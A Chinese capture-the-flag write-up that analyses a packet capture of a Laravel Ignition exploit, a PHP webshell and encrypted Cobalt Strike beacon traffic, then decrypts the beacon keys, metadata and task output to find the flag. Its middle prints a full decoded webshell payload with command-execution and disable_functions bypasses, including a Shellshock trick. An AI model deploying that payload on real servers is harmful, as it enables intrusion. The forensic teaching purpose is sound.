流量分析题 CobaltStrike流量特征 前言 先来了解下什么是CobaltStrikle
下面简称CS,在我的理解就是类似于哥斯拉、中国蚁剑相类似的webshell工具,下面是互联网上的的回答,我直接沾上来
Cobalt Strike是一款内网渗透测试工具,常被业界人称为CS。Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。客户端模式和服务端模式可以在Windows以及Linux上运行这里要注意服务端模式在Windows下运行时有可能会出现一些细小的问题不过影响不大。可以很好的解决metasploit对Windows支持不够好的问题。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等
其实有关CS的还有很多知识,这里贴一下别人整理好的wikiCobalt Strike | 狼组安全团队公开知识库 ,
这里我们需要学习的是CS的传输流量,以便可以在wireshrak
中辨认,CS分为server和client版本,所以可以团队作业,就是很多个client都可以连接同一个server,这里我们需要了解的是Cobalt Strike
有个Beacon
命令,我们可以通过wireshark
进行分析
如果你用过CrossC2这类工具你应该知道这类工具在使用时一定需要.cobaltstrike.beacon_keys文件,这是因为cobaltstrike在与Beacon通信时是使用的RSA非对称加密,而.cobaltstrike.beacon_keys文件里存储了一个序列化对象这个对象中包含着一个密钥对里面存储着RSA公私钥
在http-beacon
通信中默认使用 GET
方法向 /dpixel
、/__utm.gif
、/pixel.gif
等地址发起请求,同时 Cobalt Strike
的Beacon
会将元数据(例如AES密钥)使用 RSA
公钥加密后发送给 C2
服务器。这些元数据 通常被编码为 Base64
字符串并作为 Cookie
发送。
1 2 3 4 5 6 7 8 9 10 11 12 http-get { set uri "/news/pictures/animals/cat.jpg /ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml" ; client { ... } server { ... } }
例如在绿城杯的这题中beacon
就是/en_US/all.js
地址
需要我们关注的是Cookie值,这是一个经过RSA公钥加密后的值,但是题目中并未提供.cobaltstrike.beacon_keys
文件,那如何获取呢,见下文
拿到题目,这里我使用wireshark
打开,发现好多流量无从下手哇🤔
我先是筛选了下http的流量,发现有好几个内网ip一直在频繁的发包互动192.168.132.138
和192.168.132.128
和192.168.132.130
这三个ip的报文发送频率是最高的,选择筛选条件(http and ip.addr==192.168.132.138) or (http and ip.addr==192.168.132.128) or (http and ip.addr==192.168.132.130)
不知道咋优化的更简洁,后面发现只需要过滤http流量就行了,因为http流量只有这三个ip
在stream1317流中可以看见,ip130向138发送了POST
请求,跟踪HTTP流可以发现一堆莫名其妙的编码
Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution
这一关键词通过搜索引擎可以了解到是有个CVE漏洞的,具体什么是Laravel
我贴在下面了
Laravel 是一种流行的开源 PHP 开发框架,用于构建Web应用程序。它提供了许多开箱即用的功能和工具,使开发人员能够更快速,更高效地开发高质量的Web应用程序。Laravel 拥有清晰的文档、活跃的社区和丰富的生态系统,因此备受开发人员青睐。
通过相关文章漏洞解析,了解到将=00
替换为空再进行BASE64解码就行了,通过CyberChef
虽然解的不完整但关键信息可以看到,远程执行了whoami
命令
我们继续往下跟踪流,寻找其他信息,发现在stream 1331流中又执行了dir
在后续的流中也逐渐发现确实执行了
在stream 1343流中找到了关键信息,有个一句话木马,密码是14433
而且经过base64
和gzinflate
加密过后的,经过搜索找到了解密的python脚本和php脚本
gzinflate是一种用于解压缩经过gzip压缩的数据的函数。它会将经过gzip压缩的数据解压缩并返回原始的未压缩数据。gzip压缩通常用于在网络中传输数据或节省存储空间。gzinflate函数通常用于处理由gzip压缩的数据,并将其解压缩为原始数据。
1 2 3 4 5 6 import base64import zlibdef decode_config_cmd (basestr ): return zlib.decompress(base64.b64decode(basestr),-zlib.MAX_WBITS) print (decode_config_cmd('需要解密的base64编码' ))
或者,二者选其一即可,经实测都可以使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $a = "eval(gzinflate(base64_decode('需要解密的base64编码')));" ;function decodephp ($a ) { $max_level = 300 ; for ($i = 0 ; $i < $max_level ; $i ++) { ob_start (); eval (str_replace ('eval' , 'echo' , $a )); $a = ob_get_clean (); if (strpos ($a , 'eval(gzinflate(base64_decode' ) === false ) { return $a ; } } } echo htmlspecialchars (decodephp ($a )); ?>
通过以14433
为关键字不断跟踪,找到有个secret.zip的压缩包在stream 1365中
转为原始数据去掉开头和结尾的数字,只保留504b到6632位置的十六进制数,转存为zip文件
里面存储着上文提到的RSA公私钥.cobaltstrike.beacon_keys
文件,但是压缩包加密了,我们需要再次跟踪流寻找信息
我们在stream 2513中找到含有7-Zip的关键词,返回的报文的结果是解压了secret.zip
文件
这时我们就需要解密给14433
传参传了什么信息,通过上面的python解密脚本先解析一段,&
and连接符前面的base64编码,注意要先将这段url解码后再进行解密,%2F
是/
,%3D
是=
解密完后可以看到好家伙又套一层加密,这下传参给了_0x0d4e2de6c1fa7
这下我们再次利用上面的解密脚本对_0x0d4e2de6c1fa7
传进的参数进行解密,注意还是要先url解码
这下输出了一长串php代码,通过网上在线格式化美化下代码,使代码更加易读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 @ini_set ("display_errors" , "0" ); @set_time_limit (0 ); $opdir =@ini_get ("open_basedir" );if ($opdir ) { $ocwd =dirname ($_SERVER ["SCRIPT_FILENAME" ]); $oparr =preg_split ("/;|:/" ,$opdir ); @array_push ($oparr ,$ocwd ,sys_get_temp_dir ()); foreach ($oparr as $item ) { if (!@is_writable ($item )) { continue ; } ; $tmdir =$item ."/.fedd1" ; @mkdir ($tmdir ); if (!@file_exists ($tmdir )) { continue ; } @chdir ($tmdir ); @ini_set ("open_basedir" , ".." ); $cntarr =@preg_split ("/\\\\\\\\|\\//" ,$tmdir ); for ($i =0 ;$i <sizeof ($cntarr );$i ++) { @chdir (".." ); } ; @ini_set ("open_basedir" ,"/" ); @rmdir ($tmdir ); break ; } ; } ; ; function asenc ($out ) { return $out ; } ; function asoutput ( ) { $output =ob_get_contents (); ob_end_clean (); echo "36" ."4f2" ; echo @asenc ($output ); echo "42" ."ff1" ; } ob_start ();try { $p =base64_decode (substr ($_POST ["f861d394170244" ],2 )); $s =base64_decode (substr ($_POST ["ufbd335828f30f" ],2 )); $envstr =@base64_decode (substr ($_POST ["b430b310838a93" ],2 )); $d =dirname ($_SERVER ["SCRIPT_FILENAME" ]); $c =substr ($d ,0 ,1 )=="/" ?"-c \\" { $s } \\"" :"/c \\" { $s } \\"" ; if (substr ($d ,0 ,1 )=="/" ) { @putenv ("PATH=" .getenv ("PATH" ).":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ); } else { @putenv ("PATH=" .getenv ("PATH" ).";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;" ); } if (!empty ($envstr )) { $envarr =explode ("|||asline|||" , $envstr ); foreach ($envarr as $v ) { if (!empty ($v )) { @putenv (str_replace ("|||askey|||" , "=" , $v )); } } } $r ="{$p} {$c} " ; function fe ($f ) { $d =explode ("," ,@ini_get ("disable_functions" )); if (empty ($d )) { $d =array (); } else { $d =array_map (\'trim\',array_map(\'strtolower\',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe(\'putenv\') && (fe(\'error_log\') || fe(\'mail\'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), \'as\');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe(\'error_log\')) {error_log("a", 1);} else {mail("[email protected] ", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe(\'system\')){@system($c,$ret);}elseif(fe(\'passthru\')){@passthru($c,$ret);}elseif(fe(\'shell_exec\')){print(@shell_exec($c));}elseif(fe(\'exec\')){@exec($c,$o,$ret);print(join("\n",$o));}elseif(fe(\'popen\')){$fp=@popen($c,\'r\');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(\'proc_open\')){$p = @proc_open($c, array(1 => array(\'pipe\', \'w\'), 2 => array(\'pipe\', \'w\')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(\'antsystem\')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM(\'WScript.shell\');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
我们不需要关注其他,只需要了解这三个变量
1 2 3 $p =base64_decode (substr ($_POST ["f861d394170244" ],2 ));$s =base64_decode (substr ($_POST ["ufbd335828f30f" ],2 ));$envstr =@base64_decode (substr ($_POST ["b430b310838a93" ],2 ));
发现接下来的这几个变量都只需要舍弃前两位进行base64解码即可
其他两个没有解码的必要了,直接解码ufbd335828f30f
变量,舍弃前两位0b
进行解密后找到了压缩包密码为P4Uk6qkh6Gvqwg3y
这下才真正拿到.cobaltstrike.beacon_keys
文件,解压后是隐藏的,你需要在资源管理器中打开显示隐藏文件的选项
接下来才是标题上需要解密的Cobalt Strike
流量的具体流程
我们需要用到两位大佬在Github上的的项目
WBGlIl/CS_Decrypt
Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品
这两个项目在运行是提示是少哪个库就装哪个库
在安装M2Crypto
库前需要先安装以下依赖
❯ sudo apt install libssl-dev swig
我稍微修改了CS_Decrypt
项目中的两个脚本文件
Beacon_metadata_RSA_Decrypt
脚本头中添加了from M2Crypto import RSA
才可运行
Beacon_Task_return_AES_Decrypt
脚本末尾的69行代码处将print(de_data[4:dec_length].decode('utf-8'))
改为了print(de_data[4:dec_length].decode('utf-8',errors='ignore'))
否则运行会提示编码错误,手动添加错误强制执行就行了
分别git clone下来,将cs-scripts
脚本中的密钥文件替换为刚刚解压的密钥,运行一下即可获得私钥和公钥,这边只用到了私钥,公钥没啥用
将私钥复制到CS_Decrypt
项目的Beacon_metadata_RSA_Decrypt.py
脚本文件中,在encode_data中填入上文提到的,Cookie值进行解密元数据(metadata)
这就要回到wireshark
中再次寻找了,我们可以发现ip 138源源不断的向128发送Cobalt Strike
心跳包,在其中的任意一个包的Cookie都可以利用
利用脚本解密后得到信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ❯ python Beacon_metadata_RSA_Decrypt.py Beacon id :1515569398 pid:7956 port:0 barch:x86 is64:1 bypass:True windows var:6.2 windows build:9200 host:192.168.132.138 PC name:DESKTOP-QQF0MLN username:Administrator process name:beacon.exe AES key:7c83bf30a6ad2dc410040d33e1399cf6 HMAC key:a77945b3a56687a39f90683cb24d00c2 00000000: 00 00 BE EF 00 00 00 5B B5 55 DE 5D CE 3B 9E 3E .......[.U.].;.> 00000010: B4 B5 72 2F 6A A6 BC 85 A8 03 A8 03 5A 55 C0 F6 ..r/j.......ZU.. 00000020: 00 00 1F 14 00 00 0C 06 02 23 F0 00 00 00 00 75 .........#.....u 00000030: 9A 16 D0 75 9A 05 A0 8A 84 A8 C0 44 45 53 4B 54 ...u.......DESKT 00000040: 4F 50 2D 51 51 46 30 4D 4C 4E 09 41 64 6D 69 6E OP-QQF0MLN.Admin 00000050: 69 73 74 72 61 74 6F 72 09 62 65 61 63 6F 6E 2E istrator.beacon. 00000060: 65 78 65 exe None
再将AES_key和HMAC_key填入CS_Decrypt
项目的Beacon_Task_return_AES_Decrypt.py
中
然而还有一个加密后的数据在哪找呢,通过跟踪/en_US/all.js
后紧接着访问了/submit.php?id=1515569398
这个id可以是随机的,转为原始数据时其中内容的中可以发现开头是由0000构成的
我们需要将其通过CyberChef
进行hex解密再base64编码
在encrypt_data
变量中填入CyberChef
中编码后的结果,在跟踪到最后一个submit
时找到了flag
1 2 3 4 5 6 7 8 9 10 ❯ python Beacon_Task_return_AES_Decrypt.py counter:5 任务返回长度:46 任务输出类型:30 flag{787fc697-8773-4669-84ad-94f714e7df09} 00000000: 00 00 00 05 00 00 00 2E 00 00 00 1E 66 6C 61 67 ............flag 00000010: 7B 37 38 37 66 63 36 39 37 2D 38 37 37 33 2D 34 {787fc697-8773-4 00000020: 36 36 39 2D 38 34 61 64 2D 39 34 66 37 31 34 65 669-84ad-94f714e 00000030: 37 64 66 30 39 7D 00 00 00 00 00 00 00 00 00 00 7df09}.......... None